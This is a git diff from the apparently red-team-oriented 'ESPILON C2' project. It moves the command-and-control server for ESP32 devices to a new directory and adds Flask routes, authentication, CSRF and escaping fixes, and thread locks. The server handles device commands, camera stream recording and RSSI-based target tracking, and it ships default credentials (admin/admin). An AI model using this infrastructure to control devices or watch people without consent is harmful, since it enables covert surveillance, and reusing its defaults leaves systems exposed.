cipher = self.crypto.encrypt(proto) + # Encrypt (AEAD) + encrypted = crypto.encrypt(proto) # Base64 - b64 = self.crypto.b64_encode(cipher) + b64 = crypto.b64_encode(encrypted) sock.sendall(b64 + b"\n") except Exception as e: - Display.error(f"Failed to send command to {cmd.device_id}: {e}") + Display.error(f"Failed to send command to {target_id}: {e}") diff --git a/tools/c2/log/__init__.py b/tools/C3PO/log/__init__.py similarity index 100% rename from tools/c2/log/__init__.py rename to tools/C3PO/log/__init__.py diff --git a/tools/c2/log/manager.py b/tools/C3PO/log/manager.py similarity index 100% rename from tools/c2/log/manager.py rename to tools/C3PO/log/manager.py diff --git a/tools/c2/logging/manager.py b/tools/C3PO/logging/manager.py similarity index 100% rename from tools/c2/logging/manager.py rename to tools/C3PO/logging/manager.py diff --git a/tools/c2/proto/__init__.py b/tools/C3PO/proto/__init__.py similarity index 100% rename from tools/c2/proto/__init__.py rename to tools/C3PO/proto/__init__.py diff --git a/tools/c2/proto/c2_pb2.py b/tools/C3PO/proto/c2_pb2.py similarity index 100% rename from tools/c2/proto/c2_pb2.py rename to tools/C3PO/proto/c2_pb2.py diff --git a/tools/C3PO/requirements.txt b/tools/C3PO/requirements.txt new file mode 100644 index 0000000..a9d7847 --- /dev/null +++ b/tools/C3PO/requirements.txt @@ -0,0 +1,21 @@ +# Crypto +pycryptodome>=3.15.0 + +# Protocol Buffers +protobuf>=4.21.0 + +# Web Server +flask>=2.0.0 + +# Configuration +python-dotenv>=1.0.0 + +# TUI Interface +textual>=0.40.0 + +# Camera & Video +opencv-python>=4.8.0 +numpy>=1.24.0 + +# MLAT (Multilateration) +scipy>=1.10.0 diff --git a/tools/c2/static/css/main.css b/tools/C3PO/static/css/main.css similarity index 100% rename from tools/c2/static/css/main.css rename to tools/C3PO/static/css/main.css diff --git a/tools/c2/static/images/no-signal.png b/tools/C3PO/static/images/no-signal.png similarity index 100% rename from tools/c2/static/images/no-signal.png rename to tools/C3PO/static/images/no-signal.png diff --git a/tools/c2/static/js/mlat.js b/tools/C3PO/static/js/mlat.js similarity index 100% rename from tools/c2/static/js/mlat.js rename to tools/C3PO/static/js/mlat.js diff --git a/tools/c2/streams/__init__.py b/tools/C3PO/streams/__init__.py similarity index 100% rename from tools/c2/streams/__init__.py rename to tools/C3PO/streams/__init__.py diff --git a/tools/c2/streams/config.py b/tools/C3PO/streams/config.py similarity index 100% rename from tools/c2/streams/config.py rename to tools/C3PO/streams/config.py diff --git a/tools/c2/streams/server.py b/tools/C3PO/streams/server.py similarity index 100% rename from tools/c2/streams/server.py rename to tools/C3PO/streams/server.py diff --git a/tools/c2/streams/udp_receiver.py b/tools/C3PO/streams/udp_receiver.py similarity index 90% rename from tools/c2/streams/udp_receiver.py rename to tools/C3PO/streams/udp_receiver.py index 48a3c1b..5f16fe3 100644 --- a/tools/c2/streams/udp_receiver.py +++ b/tools/C3PO/streams/udp_receiver.py @@ -168,13 +168,15 @@ class UDPReceiver: # IP to device_id mapping cache self._ip_to_device: Dict[str, str] = {} - # Statistics + # Statistics (protected by _stats_lock) + self._stats_lock = threading.Lock() self.frames_received = 0 self.invalid_tokens = 0 self.decode_errors = 0 self.packets_received = 0 - # Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}} + # Active cameras tracking (protected by _cameras_lock) + self._cameras_lock = threading.Lock() self._active_cameras: Dict[str, dict] = {} os.makedirs(self.image_dir, exist_ok=True) @@ -191,7 +193,8 @@ class UDPReceiver: @property def active_cameras(self) -> list: """Returns list of active camera device IDs.""" - return [cid for cid, info in self._active_cameras.items() if info.get("active", False)] + with self._cameras_lock: + return [cid for cid, info in self._active_cameras.items() if info.get("active", False)] def _get_device_id_from_ip(self, ip: str) -> Optional[str]: """Look up device_id from IP address using device registry.""" @@ -305,10 +308,12 @@ class UDPReceiver: except OSError: break - self.packets_received += 1 + with self._stats_lock: + self.packets_received += 1 if not data.startswith(SECRET_TOKEN): - self.invalid_tokens += 1 + with self._stats_lock: + self.invalid_tokens += 1 continue payload = data[len(SECRET_TOKEN):] @@ -335,7 +340,8 @@ class UDPReceiver: if frame is not None: self._process_frame(device_id, frame, addr) else: - self.decode_errors += 1 + with self._stats_lock: + self.decode_errors += 1 else: assembler.add_chunk(payload) @@ -348,19 +354,22 @@ class UDPReceiver: def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple): frame = self._decode_frame(frame_data) if frame is None: - self.decode_errors += 1 + with self._stats_lock: + self.decode_errors += 1 return self._process_frame(camera_id, frame, addr) def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple): - self.frames_received += 1 + with self._stats_lock: + self.frames_received += 1 # Update camera tracking - self._active_cameras[camera_id] = { - "last_frame": time.time(), - "active": True, - "addr": addr - } + with self._cameras_lock: + self._active_cameras[camera_id] = { + "last_frame": time.time(), + "active": True, + "addr": addr + } # Save frame self._save_frame(camera_id, frame) @@ -456,13 +465,15 @@ class UDPReceiver: def get_stats(self) -> dict: recording_count = sum(1 for r in self._recorders.values() if r.is_recording) - active_count = sum(1 for info in self._active_cameras.values() if info.get("active")) - return { - "running": self.is_running, - "packets_received": self.packets_received, - "frames_received": self.frames_received, - "invalid_tokens": self.invalid_tokens, - "decode_errors": self.decode_errors, - "active_cameras": active_count, - "active_recordings": recording_count - } + with self._cameras_lock: + active_count = sum(1 for info in self._active_cameras.values() if info.get("active")) + with self._stats_lock: + return { + "running": self.is_running, + "packets_received": self.packets_received, + "frames_received": self.frames_received, + "invalid_tokens": self.invalid_tokens, + "decode_errors": self.decode_errors, + "active_cameras": active_count, + "active_recordings": recording_count + } diff --git a/tools/c2/streams/web_server.py b/tools/C3PO/streams/web_server.py similarity index 100% rename from tools/c2/streams/web_server.py rename to tools/C3PO/streams/web_server.py diff --git a/tools/c2/templates/base.html b/tools/C3PO/templates/base.html similarity index 92% rename from tools/c2/templates/base.html rename to tools/C3PO/templates/base.html index 185cf4e..cc4654d 100644 --- a/tools/c2/templates/base.html +++ b/tools/C3PO/templates/base.html @@ -20,6 +20,9 @@ MLAT + + Honeypot +
diff --git a/tools/c2/templates/cameras.html b/tools/C3PO/templates/cameras.html similarity index 100% rename from tools/c2/templates/cameras.html rename to tools/C3PO/templates/cameras.html diff --git a/tools/c2/templates/dashboard.html b/tools/C3PO/templates/dashboard.html similarity index 96% rename from tools/c2/templates/dashboard.html rename to tools/C3PO/templates/dashboard.html index 8577be3..44c09c6 100644 --- a/tools/c2/templates/dashboard.html +++ b/tools/C3PO/templates/dashboard.html @@ -93,20 +93,30 @@ return hours + 'h ' + mins + 'm'; } + function escapeHtml(str) { + const div = document.createElement('div'); + div.appendChild(document.createTextNode(str)); + return div.innerHTML; + } + function createDeviceCard(device) { const statusClass = device.status === 'Connected' ? 'badge-connected' : 'badge-inactive'; + const safeId = escapeHtml(String(device.id)); + const safeStatus = escapeHtml(String(device.status)); + const safeIp = escapeHtml(String(device.ip)); + const safePort = escapeHtml(String(device.port)); return ` -
+
- ${device.id} - ${device.status} + ${safeId} + ${safeStatus}
IP Address - ${device.ip}:${device.port} + ${safeIp}:${safePort}
Connected diff --git a/tools/c2/templates/login.html b/tools/C3PO/templates/login.html similarity index 92% rename from tools/c2/templates/login.html rename to tools/C3PO/templates/login.html index 8df1bfe..516f3e6 100644 --- a/tools/c2/templates/login.html +++ b/tools/C3PO/templates/login.html @@ -15,6 +15,7 @@ {% endif %}
+
diff --git a/tools/c2/templates/mlat.html b/tools/C3PO/templates/mlat.html similarity index 100% rename from tools/c2/templates/mlat.html rename to tools/C3PO/templates/mlat.html diff --git a/tools/c2/test_udp.py b/tools/C3PO/test_udp.py similarity index 100% rename from tools/c2/test_udp.py rename to tools/C3PO/test_udp.py diff --git a/tools/c2/tui/__init__.py b/tools/C3PO/tui/__init__.py similarity index 100% rename from tools/c2/tui/__init__.py rename to tools/C3PO/tui/__init__.py diff --git a/tools/c2/tui/app.py b/tools/C3PO/tui/app.py similarity index 100% rename from tools/c2/tui/app.py rename to tools/C3PO/tui/app.py diff --git a/tools/c2/tui/bridge.py b/tools/C3PO/tui/bridge.py similarity index 100% rename from tools/c2/tui/bridge.py rename to tools/C3PO/tui/bridge.py diff --git a/tools/c2/tui/styles/c2.tcss b/tools/C3PO/tui/styles/c2.tcss similarity index 100% rename from tools/c2/tui/styles/c2.tcss rename to tools/C3PO/tui/styles/c2.tcss diff --git a/tools/c2/tui/widgets/__init__.py b/tools/C3PO/tui/widgets/__init__.py similarity index 100% rename from tools/c2/tui/widgets/__init__.py rename to tools/C3PO/tui/widgets/__init__.py diff --git a/tools/c2/tui/widgets/command_input.py b/tools/C3PO/tui/widgets/command_input.py similarity index 100% rename from tools/c2/tui/widgets/command_input.py rename to tools/C3PO/tui/widgets/command_input.py diff --git a/tools/c2/tui/widgets/device_tabs.py b/tools/C3PO/tui/widgets/device_tabs.py similarity index 100% rename from tools/c2/tui/widgets/device_tabs.py rename to tools/C3PO/tui/widgets/device_tabs.py diff --git a/tools/c2/tui/widgets/log_pane.py b/tools/C3PO/tui/widgets/log_pane.py similarity index 100% rename from tools/c2/tui/widgets/log_pane.py rename to tools/C3PO/tui/widgets/log_pane.py diff --git a/tools/c2/utils/cli.py b/tools/C3PO/utils/cli.py similarity index 100% rename from tools/c2/utils/cli.py rename to tools/C3PO/utils/cli.py diff --git a/tools/c2/utils/constant.py b/tools/C3PO/utils/constant.py similarity index 100% rename from tools/c2/utils/constant.py rename to tools/C3PO/utils/constant.py diff --git a/tools/c2/utils/display.py b/tools/C3PO/utils/display.py similarity index 100% rename from tools/c2/utils/display.py rename to tools/C3PO/utils/display.py diff --git a/tools/c2/utils/manager.py b/tools/C3PO/utils/manager.py similarity index 100% rename from tools/c2/utils/manager.py rename to tools/C3PO/utils/manager.py diff --git a/tools/c2/web/__init__.py b/tools/C3PO/web/__init__.py similarity index 100% rename from tools/c2/web/__init__.py rename to tools/C3PO/web/__init__.py diff --git a/tools/C3PO/web/auth.py b/tools/C3PO/web/auth.py new file mode 100644 index 0000000..2894d14 --- /dev/null +++ b/tools/C3PO/web/auth.py @@ -0,0 +1,46 @@ +"""Authentication decorators for Flask routes.""" + +import hmac +from functools import wraps +from flask import session, redirect, url_for, request, jsonify + + +def create_auth_decorators(get_multilat_token): + """ + Create auth decorators with access to server config. + + Args: + get_multilat_token: Callable that returns the MLAT API token + + Returns: + Tuple of (require_login, require_api_auth) decorators + """ + + def require_login(f): + """Decorator requiring user to be logged in via session.""" + @wraps(f) + def decorated(*args, **kwargs): + if not session.get("logged_in"): + return redirect(url_for("pages.login")) + return f(*args, **kwargs) + return decorated + + def require_api_auth(f): + """Decorator requiring session login OR Bearer token.""" + @wraps(f) + def decorated(*args, **kwargs): + # Session auth + if session.get("logged_in"): + return f(*args, **kwargs) + + # Bearer token auth + auth_header = request.headers.get("Authorization", "") + if auth_header.startswith("Bearer "): + token = auth_header[7:] + if hmac.compare_digest(token, get_multilat_token()): + return f(*args, **kwargs) + + return jsonify({"error": "Unauthorized"}), 401 + return decorated + + return require_login, require_api_auth diff --git a/tools/c2/web/mlat.py b/tools/C3PO/web/mlat.py similarity index 83% rename from tools/c2/web/mlat.py rename to tools/C3PO/web/mlat.py index 650e414..e74fa32 100644 --- a/tools/c2/web/mlat.py +++ b/tools/C3PO/web/mlat.py @@ -1,5 +1,6 @@ """MLAT (Multilateration) engine for device positioning with GPS support.""" +import threading import time import re import math @@ -36,6 +37,9 @@ class MlatEngine: self.path_loss_n = path_loss_n self.smoothing_window = smoothing_window + # Thread safety lock + self._lock = threading.Lock() + # Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}} self.scanners: dict = {} @@ -180,23 +184,24 @@ class MlatEngine: if timestamp is None: timestamp = time.time() - if scanner_id not in self.scanners: - self.scanners[scanner_id] = { - "position": {"lat": lat, "lon": lon}, - "rssi_history": [], - "last_seen": timestamp - } + with self._lock: + if scanner_id not in self.scanners: + self.scanners[scanner_id] = { + "position": {"lat": lat, "lon": lon}, + "rssi_history": [], + "last_seen": timestamp + } - scanner = self.scanners[scanner_id] - scanner["position"] = {"lat": lat, "lon": lon} - scanner["rssi_history"].append(rssi) - scanner["last_seen"] = timestamp + scanner = self.scanners[scanner_id] + scanner["position"] = {"lat": lat, "lon": lon} + scanner["rssi_history"].append(rssi) + scanner["last_seen"] = timestamp - # Keep only recent readings for smoothing - if len(scanner["rssi_history"]) > self.smoothing_window: - scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] + # Keep only recent readings for smoothing + if len(scanner["rssi_history"]) > self.smoothing_window: + scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] - self._coord_mode = 'gps' + self._coord_mode = 'gps' def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None): """ @@ -212,22 +217,23 @@ class MlatEngine: if timestamp is None: timestamp = time.time() - if scanner_id not in self.scanners: - self.scanners[scanner_id] = { - "position": {"x": x, "y": y}, - "rssi_history": [], - "last_seen": timestamp - } + with self._lock: + if scanner_id not in self.scanners: + self.scanners[scanner_id] = { + "position": {"x": x, "y": y}, + "rssi_history": [], + "last_seen": timestamp + } - scanner = self.scanners[scanner_id] - scanner["position"] = {"x": x, "y": y} - scanner["rssi_history"].append(rssi) - scanner["last_seen"] = timestamp + scanner = self.scanners[scanner_id] + scanner["position"] = {"x": x, "y": y} + scanner["rssi_history"].append(rssi) + scanner["last_seen"] = timestamp - if len(scanner["rssi_history"]) > self.smoothing_window: - scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] + if len(scanner["rssi_history"]) > self.smoothing_window: + scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] - self._coord_mode = 'local' + self._coord_mode = 'local' def rssi_to_distance(self, rssi: float) -> float: """ @@ -253,11 +259,17 @@ class MlatEngine: Returns: dict with position, confidence, and scanner info, or error """ - # Get active scanners (those with readings) - active_scanners = [ - (sid, s) for sid, s in self.scanners.items() - if s["rssi_history"] - ] + # Snapshot scanner data under lock + with self._lock: + active_scanners = [ + (sid, { + "position": dict(s["position"]), + "rssi_history": list(s["rssi_history"]), + "last_seen": s["last_seen"] + }) + for sid, s in self.scanners.items() + if s["rssi_history"] + ] if len(active_scanners) < 3: return { @@ -342,7 +354,8 @@ class MlatEngine: "y": round(float(target_y), 2) } - self._last_calculation = time.time() + with self._lock: + self._last_calculation = time.time() return { "position": self._last_target, @@ -366,7 +379,13 @@ class MlatEngine: now = time.time() scanners_data = [] - for scanner_id, scanner in self.scanners.items(): + with self._lock: + scanners_snapshot = dict(self.scanners) + last_target = self._last_target + last_calc = self._last_calculation + coord_mode = self._coord_mode + + for scanner_id, scanner in scanners_snapshot.items(): avg_rssi = None distance = None @@ -393,15 +412,15 @@ class MlatEngine: "path_loss_n": self.path_loss_n, "smoothing_window": self.smoothing_window }, - "coord_mode": self._coord_mode + "coord_mode": coord_mode } # Add target if available - if self._last_target and (now - self._last_calculation) < 60: + if last_target and (now - last_calc) < 60: result["target"] = { - "position": self._last_target, - "calculated_at": self._last_calculation, - "age_seconds": round(now - self._last_calculation, 1) + "position": last_target, + "calculated_at": last_calc, + "age_seconds": round(now - last_calc, 1) } return result @@ -424,6 +443,7 @@ class MlatEngine: def clear(self): """Clear all scanner data and reset state.""" - self.scanners.clear() - self._last_target = None - self._last_calculation = 0 + with self._lock: + self.scanners.clear() + self._last_target = None + self._last_calculation = 0 diff --git a/tools/C3PO/web/routes/__init__.py b/tools/C3PO/web/routes/__init__.py new file mode 100644 index 0000000..67e97bc --- /dev/null +++ b/tools/C3PO/web/routes/__init__.py @@ -0,0 +1,15 @@ +"""Flask route blueprints for ESPILON C2 web server.""" + +from .pages import create_pages_blueprint +from .api_devices import create_devices_blueprint +from .api_cameras import create_cameras_blueprint +from .api_mlat import create_mlat_blueprint +from .api_stats import create_stats_blueprint + +__all__ = [ + "create_pages_blueprint", + "create_devices_blueprint", + "create_cameras_blueprint", + "create_mlat_blueprint", + "create_stats_blueprint", +] diff --git a/tools/C3PO/web/routes/api_cameras.py b/tools/C3PO/web/routes/api_cameras.py new file mode 100644 index 0000000..51034e3 --- /dev/null +++ b/tools/C3PO/web/routes/api_cameras.py @@ -0,0 +1,99 @@ +"""Camera and Recording API routes.""" + +import os +from flask import Blueprint, jsonify, request + + +def create_cameras_blueprint(server_config): + """ + Create the cameras API blueprint. + + Args: + server_config: Dict with keys: + - image_dir: Camera images directory + - c2_root: C2 root directory path + - get_camera_receiver: Callable returning camera receiver + - require_api_auth: Auth decorator + """ + bp = Blueprint("api_cameras", __name__, url_prefix="/api") + + image_dir = server_config["image_dir"] + c2_root = server_config["c2_root"] + get_receiver = server_config["get_camera_receiver"] + require_api_auth = server_config["require_api_auth"] + + # ========== Camera List ========== + + @bp.route("/cameras") + @require_api_auth + def list_cameras(): + full_image_dir = os.path.join(c2_root, image_dir) + try: + cameras = [ + f.replace(".jpg", "") + for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ] + except FileNotFoundError: + cameras = [] + + receiver = get_receiver() + result = {"cameras": [], "count": len(cameras)} + + for cam_id in cameras: + cam_info = {"id": cam_id, "recording": False} + if receiver: + status = receiver.get_recording_status(cam_id) + cam_info["recording"] = status.get("recording", False) + cam_info["filename"] = status.get("filename") + result["cameras"].append(cam_info) + + result["count"] = len(result["cameras"]) + return jsonify(result) + + # ========== Recording Control ========== + + @bp.route("/recording/start/", methods=["POST"]) + @require_api_auth + def start_recording(camera_id): + receiver = get_receiver() + if not receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = receiver.start_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @bp.route("/recording/stop/", methods=["POST"]) + @require_api_auth + def stop_recording(camera_id): + receiver = get_receiver() + if not receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = receiver.stop_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @bp.route("/recording/status") + @require_api_auth + def recording_status(): + receiver = get_receiver() + if not receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + camera_id = request.args.get("camera_id") + return jsonify(receiver.get_recording_status(camera_id)) + + @bp.route("/recordings") + @require_api_auth + def list_recordings(): + receiver = get_receiver() + if not receiver: + return jsonify({"recordings": []}) + + return jsonify({"recordings": receiver.list_recordings()}) + + return bp diff --git a/tools/C3PO/web/routes/api_devices.py b/tools/C3PO/web/routes/api_devices.py new file mode 100644 index 0000000..34a5e1b --- /dev/null +++ b/tools/C3PO/web/routes/api_devices.py @@ -0,0 +1,48 @@ +"""Device API routes.""" + +import time +from flask import Blueprint, jsonify + + +def create_devices_blueprint(server_config): + """ + Create the devices API blueprint. + + Args: + server_config: Dict with keys: + - get_device_registry: Callable returning device registry + - require_api_auth: Auth decorator + """ + bp = Blueprint("api_devices", __name__, url_prefix="/api") + + get_registry = server_config["get_device_registry"] + require_api_auth = server_config["require_api_auth"] + + @bp.route("/devices") + @require_api_auth + def list_devices(): + registry = get_registry() + if registry is None: + return jsonify({"error": "Device registry not available", "devices": []}) + + now = time.time() + devices = [] + + for d in registry.all(): + devices.append({ + "id": d.id, + "ip": d.address[0] if d.address else "unknown", + "port": d.address[1] if d.address else 0, + "status": d.status, + "connected_at": d.connected_at, + "last_seen": d.last_seen, + "connected_for_seconds": round(now - d.connected_at, 1), + "last_seen_ago_seconds": round(now - d.last_seen, 1) + }) + + return jsonify({ + "devices": devices, + "count": len(devices) + }) + + return bp diff --git a/tools/C3PO/web/routes/api_mlat.py b/tools/C3PO/web/routes/api_mlat.py new file mode 100644 index 0000000..37c10d9 --- /dev/null +++ b/tools/C3PO/web/routes/api_mlat.py @@ -0,0 +1,85 @@ +"""MLAT (Multilateration) API routes.""" + +import time +from flask import Blueprint, jsonify, request + + +def create_mlat_blueprint(server_config): + """ + Create the MLAT API blueprint. + + Args: + server_config: Dict with keys: + - get_mlat_engine: Callable returning MLAT engine + - require_api_auth: Auth decorator + """ + bp = Blueprint("api_mlat", __name__, url_prefix="/api/mlat") + + get_engine = server_config["get_mlat_engine"] + require_api_auth = server_config["require_api_auth"] + + @bp.route("/collect", methods=["POST"]) + @require_api_auth + def collect(): + """Receive MLAT readings from scanners.""" + engine = get_engine() + raw_data = request.get_data(as_text=True) + count = engine.parse_data(raw_data) + + if count > 0: + engine.calculate_position() + + return jsonify({ + "status": "ok", + "readings_processed": count + }) + + @bp.route("/state") + @require_api_auth + def state(): + """Get current MLAT state (scanners + target position).""" + engine = get_engine() + state = engine.get_state() + + # Auto-calculate if we have enough scanners but no target + if state["target"] is None and state["scanners_count"] >= 3: + result = engine.calculate_position() + if "position" in result: + state["target"] = { + "position": result["position"], + "confidence": result.get("confidence", 0), + "calculated_at": result.get("calculated_at", time.time()), + "age_seconds": 0 + } + + return jsonify(state) + + @bp.route("/config", methods=["GET", "POST"]) + @require_api_auth + def config(): + """Get or update MLAT configuration.""" + engine = get_engine() + + if request.method == "POST": + data = request.get_json() or {} + engine.update_config( + rssi_at_1m=data.get("rssi_at_1m"), + path_loss_n=data.get("path_loss_n"), + smoothing_window=data.get("smoothing_window") + ) + + return jsonify({ + "rssi_at_1m": engine.rssi_at_1m, + "path_loss_n": engine.path_loss_n, + "smoothing_window": engine.smoothing_window + }) + + @bp.route("/clear", methods=["POST"]) + @require_api_auth + def clear(): + """Clear all scanner data.""" + engine = get_engine() + engine.clear() + return jsonify({"status": "ok"}) + + return bp diff --git a/tools/C3PO/web/routes/api_stats.py b/tools/C3PO/web/routes/api_stats.py new file mode 100644 index 0000000..11ef428 --- /dev/null +++ b/tools/C3PO/web/routes/api_stats.py @@ -0,0 +1,59 @@ +"""Stats API routes.""" + +import os +from flask import Blueprint, jsonify + + +def create_stats_blueprint(server_config): + """ + Create the stats API blueprint. + + Args: + server_config: Dict with keys: + - image_dir: Camera images directory + - c2_root: C2 root directory path + - get_device_registry: Callable returning device registry + - get_mlat_engine: Callable returning MLAT engine + - require_api_auth: Auth decorator + """ + bp = Blueprint("api_stats", __name__, url_prefix="/api") + + image_dir = server_config["image_dir"] + c2_root = server_config["c2_root"] + get_registry = server_config["get_device_registry"] + get_mlat = server_config["get_mlat_engine"] + require_api_auth = server_config["require_api_auth"] + + @bp.route("/stats") + @require_api_auth + def stats(): + """Get server statistics.""" + full_image_dir = os.path.join(c2_root, image_dir) + + # Camera count + try: + camera_count = len([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + camera_count = 0 + + # Device count + device_count = 0 + registry = get_registry() + if registry: + device_count = len(list(registry.all())) + + # MLAT state + mlat_engine = get_mlat() + mlat_state = mlat_engine.get_state() + + return jsonify({ + "active_cameras": camera_count, + "connected_devices": device_count, + "multilateration_scanners": mlat_state["scanners_count"], + "server_running": True + }) + + return bp diff --git a/tools/C3PO/web/routes/pages.py b/tools/C3PO/web/routes/pages.py new file mode 100644 index 0000000..41a2e35 --- /dev/null +++ b/tools/C3PO/web/routes/pages.py @@ -0,0 +1,96 @@ +"""Page routes (login, dashboard, cameras, mlat).""" + +import os +import secrets +from flask import Blueprint, render_template, redirect, url_for, request, session + + +def create_pages_blueprint(server_config): + """ + Create the pages blueprint. + + Args: + server_config: Dict with keys: + - username: Login username + - password: Login password + - image_dir: Camera images directory + - c2_root: C2 root directory path + - require_login: Auth decorator + """ + bp = Blueprint("pages", __name__) + + username = server_config["username"] + password = server_config["password"] + image_dir = server_config["image_dir"] + c2_root = server_config["c2_root"] + require_login = server_config["require_login"] + + @bp.route("/login", methods=["GET", "POST"]) + def login(): + error = None + if request.method == "POST": + # CSRF validation + token = request.form.get("csrf_token", "") + if token != session.get("csrf_token", ""): + error = "Invalid request. Please try again." + else: + form_user = request.form.get("username") + form_pass = request.form.get("password") + if form_user == username and form_pass == password: + session["logged_in"] = True + return redirect(url_for("pages.dashboard")) + else: + error = "Invalid credentials." + # Generate CSRF token for the form + session["csrf_token"] = secrets.token_hex(32) + return render_template("login.html", error=error, csrf_token=session["csrf_token"]) + + @bp.route("/logout") + def logout(): + session.pop("logged_in", None) + return redirect(url_for("pages.login")) + + @bp.route("/") + @require_login + def index(): + return redirect(url_for("pages.dashboard")) + + @bp.route("/dashboard") + @require_login + def dashboard(): + return render_template("dashboard.html", active_page="dashboard") + + @bp.route("/cameras") + @require_login + def cameras(): + full_image_dir = os.path.join(c2_root, image_dir) + try: + image_files = sorted([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + image_files = [] + + return render_template("cameras.html", active_page="cameras", image_files=image_files) + + @bp.route("/mlat") + @require_login + def mlat(): + return render_template("mlat.html", active_page="mlat") + + @bp.route("/streams/") + @require_login + def stream_image(filename): + from flask import send_from_directory + full_image_dir = os.path.join(c2_root, image_dir) + return send_from_directory(full_image_dir, filename) + + @bp.route("/recordings/") + @require_login + def download_recording(filename): + from flask import send_from_directory + recordings_dir = os.path.join(c2_root, "static", "recordings") + return send_from_directory(recordings_dir, filename, as_attachment=True) + + return bp diff --git a/tools/C3PO/web/server.py b/tools/C3PO/web/server.py new file mode 100644 index 0000000..7bec8dd --- /dev/null +++ b/tools/C3PO/web/server.py @@ -0,0 +1,197 @@ +"""Unified Flask web server for ESPILON C2 dashboard.""" + +import os +import sys +import logging +import threading +from typing import Optional + +from flask import Flask +from werkzeug.serving import make_server + +from .mlat import MlatEngine +from .auth import create_auth_decorators +from .routes import ( + create_pages_blueprint, + create_devices_blueprint, + create_cameras_blueprint, + create_mlat_blueprint, + create_stats_blueprint, +) + +# Make hp_dashboard importable (lives in espilon-honey-pot/tools/) +_HP_TOOLS_DIR = os.environ.get("HP_DASHBOARD_PATH", os.path.normpath(os.path.join( + os.path.dirname(__file__), "..", "..", "..", "..", "espilon-honey-pot", "tools" +))) +if os.path.isdir(_HP_TOOLS_DIR) and _HP_TOOLS_DIR not in sys.path: + sys.path.insert(0, _HP_TOOLS_DIR) + +# Disable Flask/Werkzeug request logging +logging.getLogger('werkzeug').setLevel(logging.ERROR) + + +class UnifiedWebServer: + """ + Unified Flask-based web server for ESPILON C2. + + Provides: + - Dashboard: View connected ESP32 devices + - Cameras: View live camera streams with recording + - MLAT: Visualize multilateration positioning + """ + + def __init__(self, + host: str = "0.0.0.0", + port: int = 8000, + image_dir: str = "static/streams", + username: str = "admin", + password: str = "admin", + secret_key: str = "change_this_for_prod", + multilat_token: str = "multilat_secret_token", + device_registry=None, + mlat_engine: Optional[MlatEngine] = None, + camera_receiver=None, + hp_store=None, + hp_commander=None, + hp_alerts=None, + hp_geo=None): + """ + Initialize the unified web server. + + Args: + host: Host to bind the server + port: Port for the web server + image_dir: Directory containing camera frame images + username: Login username + password: Login password + secret_key: Flask session secret key + multilat_token: Bearer token for MLAT API + device_registry: DeviceRegistry instance for device listing + mlat_engine: MlatEngine instance (created if None) + camera_receiver: UDPReceiver instance for camera control + hp_store: HpStore instance for honeypot event storage + hp_commander: HpCommander instance for honeypot command dispatch + hp_alerts: HpAlertEngine instance for honeypot alert rules + hp_geo: HpGeoLookup instance for geo-IP enrichment + """ + self.host = host + self.port = port + self.image_dir = image_dir + self.username = username + self.password = password + self.secret_key = secret_key + self.multilat_token = multilat_token + self.device_registry = device_registry + self.mlat = mlat_engine or MlatEngine() + self.camera_receiver = camera_receiver + self.hp_store = hp_store + self.hp_commander = hp_commander + self.hp_alerts = hp_alerts + self.hp_geo = hp_geo + + # C2 root directory + self.c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + # Ensure image directory exists + full_image_dir = os.path.join(self.c2_root, self.image_dir) + os.makedirs(full_image_dir, exist_ok=True) + + self._app = self._create_app() + self._server = None + self._thread = None + + def set_camera_receiver(self, receiver): + """Set the camera receiver after initialization.""" + self.camera_receiver = receiver + + @property + def is_running(self) -> bool: + return self._thread is not None and self._thread.is_alive() + + def _create_app(self) -> Flask: + """Create and configure the Flask application.""" + template_dir = os.path.join(self.c2_root, "templates") + static_dir = os.path.join(self.c2_root, "static") + + app = Flask(__name__, + template_folder=template_dir, + static_folder=static_dir) + app.secret_key = self.secret_key + + # Create auth decorators + require_login, require_api_auth = create_auth_decorators( + lambda: self.multilat_token + ) + + # Shared config for blueprints + base_config = { + "c2_root": self.c2_root, + "image_dir": self.image_dir, + "require_login": require_login, + "require_api_auth": require_api_auth, + } + + # Register blueprints + app.register_blueprint(create_pages_blueprint({ + **base_config, + "username": self.username, + "password": self.password, + })) + + app.register_blueprint(create_devices_blueprint({ + **base_config, + "get_device_registry": lambda: self.device_registry, + })) + + app.register_blueprint(create_cameras_blueprint({ + **base_config, + "get_camera_receiver": lambda: self.camera_receiver, + })) + + app.register_blueprint(create_mlat_blueprint({ + **base_config, + "get_mlat_engine": lambda: self.mlat, + })) + + app.register_blueprint(create_stats_blueprint({ + **base_config, + "get_device_registry": lambda: self.device_registry, + "get_mlat_engine": lambda: self.mlat, + })) + + # Honeypot dashboard (optional — only if hp_store is provided) + if self.hp_store and self.hp_commander: + try: + from hp_dashboard import create_hp_blueprint + app.register_blueprint(create_hp_blueprint({ + **base_config, + "hp_store": self.hp_store, + "hp_commander": self.hp_commander, + "hp_alerts": self.hp_alerts, + "hp_geo": self.hp_geo, + })) + except ImportError: + pass # hp_dashboard not available + + return app + + def start(self) -> bool: + """Start the web server in a background thread.""" + if self.is_running: + return False + + self._server = make_server(self.host, self.port, self._app, threaded=True) + self._thread = threading.Thread(target=self._server.serve_forever, daemon=True) + self._thread.start() + return True + + def stop(self): + """Stop the web server.""" + if self._server: + self._server.shutdown() + self._server = None + self._thread = None + + def get_url(self) -> str: + """Get the server URL.""" + return f"http://{self.host}:{self.port}" diff --git a/tools/README.md b/tools/README.md index 358cd79..8922bf1 100644 --- 